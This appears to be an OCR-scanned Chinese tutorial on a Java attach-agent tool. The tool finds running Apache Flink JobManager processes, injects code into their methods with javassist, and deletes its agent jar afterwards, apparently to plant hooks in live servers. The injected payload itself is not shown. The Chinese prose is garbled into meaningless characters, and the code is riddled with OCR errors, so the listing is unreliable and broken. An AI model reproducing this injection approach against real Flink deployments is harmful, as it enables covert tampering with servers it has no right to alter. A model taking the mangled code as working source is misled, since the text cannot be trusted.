throw new Exception(String.format("getMethod
error:%s#%s" ,object.toSstring() ,methodName));
}

XEREAREmaveniiB, FBEANKEEREZETpom. xmISAN

RIaBERAgentyTE, E/BAIIITHE, TLIER AR EBavaiiTHiEFRIMainITE

package com.attach;
import java.lang.instrument.Instrumentation;
public class Agent {
pubTlic static Transformer transformer = null;
//ER, B FETTEOCEAMKIARE, AT RNMTEERIARKA, EFHHRATERK javassist
AN AR AT 3 £
pubTlic static void agentmain(String vmName, Instrumentation inst) {
transformer = new Transformer(vmName, inst);
transformer.retransform();

XErJagentmainFZRTBRY, attachiz{THiEMSE, R, EEBITRIMIETRINGE, RIEFEIS
LR THER,

SRERTransformeri&itrgik

package com.attach;

import com.attach.hook.IHook;
import javassist.*;

import java.lang.instrument.ClassFileTransformer;
import java.lang.instrument.Instrumentation;
import java.security.ProtectionDomain;
import java.util.ArrayList;
import java.util.List;
public class Transformer implements ClassFileTransformer{
private Instrumentation inst;
private List<IHook> hooks = new ArrayList<IHook>();
Transformer(String vmName,Instrumentation inst) {
// R TERAFRRA, X EAEZEimport
try {
if (vmName.equals("org.apache.flink.runtime.jobmanager.JobManager'))

this.hooks.add((IHook)
Class.forName("com.attach.hook.F1ink132").newInstance());
}
} catch (Exception e) {
}
try {
if
(vmName.equals("org.apache.flink.runtime.entrypoint.StandaloneSessionClusterentry
point")) {



this.hooks.add((IHook)
Class.forName("com.attach.hook.F1ink190") .newInstance());
}

} catch (Exception e) {

}

System.out.println(vmName) ;

this.inst = inst;

inst.addTransformer(this, true);
}
public void release() {

inst.removeTransformer(this);

retransform();
}
pubTlic void retransform() {

Class[] loadedClasses = inst.getAllLoadedClasses();

for (Class clazz : loadedcClasses) {

for (IHook hook : this.hooks) { ;
if (clazz.getName() .equals(hook.getTargetClass())) {
if (inst.isModifiableClass(clazz) ) {
try {
inst.retransformclasses(clazz);
} catch (Throwable t) {

}

}
@override
pubTlic byte[] transform(ClassLoader classLoader, String s,
Class<?> acClass, Protectionbomain protectionbDomain,
byte[] classfileBuffer
) o
for (IHook hook : this.hooks) {
String targetClass = hook.getTargetClass();
if (targetClass.replaceATT("\\.", "/").equals(s)) {
try {
ClassPool classPool = ClassPool.getbefault();
CtClass ctClass = classPool.get(targetClass);
CtMethod m =
ctClass.getMethod(hook.getTargetMethod() ,hook.getMethodbesc());
m.insertBefore(hook.getMethodSource());
byte[] byteCode = ctClass.toBytecode();
ctClass.detach();
return bytecCode;
} catch (Exception ex) {

}

3

return null;

AfEpom.xml, HiFhijar&hy



<?xml version="1.0" encoding="UTF-8"7>
<project xmlns="http://maven.apache.org/PoM/4.0.0"
xmlns:xsi="http://www.w3.0rg/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/PoM/4.0.0
http://maven.apache.org/xsd/maven-4.0.0.xsd">
<modelversion>4.0.0</modelversion>

<groupId>org.example</groupId>
<artifactIid>demol</artifactId>
<version>1.0-SNAPSHOT</version>

<properties>
<maven.compiler.source>8</maven.compiler.source>
<maven.compiler.target>8</maven.compiler.target>
<project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
</properties>
<dependencies>
<dependency>
<groupId>org.apache.flink</groupIid>
<artifactId>flink-dist_2.12</artifactid>
<version>4.1.82.Final-16.1</version>
</dependency>
<dependency>
<groupId>org.apache.flink</groupid>
<artifactid>flink-dist_2.12</artifactId>
<version>1.17.2</version>
</dependency>
</dependencies>

</project>
MINIFEST.MF

Manifest-version: 1.0
Agent-Class: com.attach.Agent
Can-Retransform-Classes: true

FERESFZ/a, ARITM—Nare, TIERYSEMNT



Project ~ D (demol M MANIFEST.MF

gent [demo1] Manifes rsion: 1.0

> [O.idea

com.attach.Agent

v [Jout
artifacts | franstorm-CL
agent_jar

demal.jar

IHook
o] util

Agent

Consoles

Iz fE, BpERStarterfURFEX 4 REEEA

Starter.java

import java.io.*;

import java.lang.reflect.Method;
import java.net.URL;

import java.net.URLClassLoader;
import java.util.ArrayList;
import java.util.List;

public class Starter {
String agentJar = "agent.jar";

* here use URLClassloader to load VirtualMachine class which from
“tools.jar’

* the load sequence is 1. try to Toad from Tocal system's jdk/1ib/tools.jar

* 2. if can't load from local,try to load from the jar which we package

* Because we need to use the JVMTI and communicate with JvM ,it's related to
JUM,

* so it's related to system architecture and java version.

* In this case,load tools.jar from local is the best choice , it can avoid
the problem case by

* java version / system architecture

* @param args
*/
pubTlic static void main(String[] args) {
try {
Starter app = new Starter();
//¥resource Ffjagent. jar s aikm: H 5%
String jarpPath = app.writeAgentlar();




File javaHome = new File(System.getProperty("java.home"));
// here only handle Open JDK situation,others didn't . . wWin Oracle
JDK
String toolsPath = javaHome.getName().equalsIgnoreCase("jre") ?
"../1lib/tools.jar" : "Tib/tools.jar";
URL[] urls = new URL[]{
/ /DS E I IpK LIB tools.jar
new File(javaHome,
toolsPath).getCanonicalFile().toURI() .toURL(),
//ERABNEMEFTEIRIIAR, BEWHR .so T
java.lang.unstisfiedLinkError

Starter.class.getProtectionbomain().getCodeSource() .getLocation(),
3
URLClassLoader Toader = new URLClassLoader(urls, null);
Class<?> VvirtualMachineClass =
loader.loadClass("com.sun.tools.attach.virtualMachine");
Class<?> VirtualMachineDescriptorcClass =
loader.loadClass("com.sun.tools.attach.virtualMachineDescriptor™);
Method 1istM = VirtualMachineClass.getDeclaredMethod("1ist", null);
List vmList = (List) listM.invoke(null);
Object vm = nulT;
List<String> vmNames = new ArrayList<String>() {

{

add("org.apache.flink.runtime.jobmanager.JobManager");

add("org.apache.flink.runtime.entrypoint.StandaloneSessionClusterEntrypoint");
}
};
for (Object vmd : vmList) {
for (String vmName : vmNames) {
Method displayNameM =
VvirtualMachineDescriptorClass.getDeclaredMethod("displayName", null);
String name = (String) displayNameM.invoke(vmd);
if (name.startswith(vmName)) {

Method attachm =
VirtualMachineClass.getDeclaredMethod("attach"”, virtualMachineDescriptorcClass);
vm = attachM.invoke(null, vmd);

Method loadAgentMm =
VvirtualMachineClass.getDeclaredMethod("loadAgent"”, String.class, String.class);

loadAgentM.invoke(vm, jarPath, vmName);

Method detachm =
VirtualMachineClass.getDeclaredMethod("detach"”, null);

detachM.invoke(vm, null);

System.out.printin("success");

3

loader.close();

new File(jarpPath).delete();
} catch (Exception e) {

e.printStackTrace();

}

protected String writeAgentJar() throws IOException {
// FREEEIEZEH TNk resources T #3C{4



InputStream inputStream = getClass().getResourceAsStream("/" + agentlar);

if (inputStream == null) {
throw new IOException("Agent JAR file not found in resources.");

// QI SO
File tempFile = File.createTempFile("agent", ".jar");
tempFile.deleteonExit(); // il IvMil HikiH g s S22k

VAR NS SEPN i s
try (OutputStream outputStream = new FileOutputStream(tempFile)) {
byte[] buffer = new byte[1024];
int bytesRead;
while ((bytesRead = inputStream.read(buffer)) != -1) {
outputStream.write(buffer, 0, bytesRead);

// R BIGEE SCEE R a5 B4R
return tempFile.getAbsolutePath();

MANIFEST.MF

Manifest-version: 1.0
Main-Class: Starter



Project ~

v [ starter
IGEE
[T out
[ artifacts
starter_jar
| META-INF
Starter
starter.jar
- [ sre

+ 3 main

~ [0 META-INF
[ MAMNIFEST.MF

agent.jar

gitignore
pom.xml
External Libraries

= Scratches and Consoles

EFRIXNagent.jarfEresources NHE
RIS TR ar

| META-INF
B sStarter$i.class

B starter.class

. starter.jar 2024/3/11 17:21 Executable Jar File

RIS RESENjarBRS.
REBRTRIER
Starter.jar-->¥EAgent.jar-->iE{TAgent. jarliTHo o KIEE-->EANHED

BMUBRETDREELER, BIAMEXEFAEART, RmlRHeEnestiskT, BBl
HCHE.

Done
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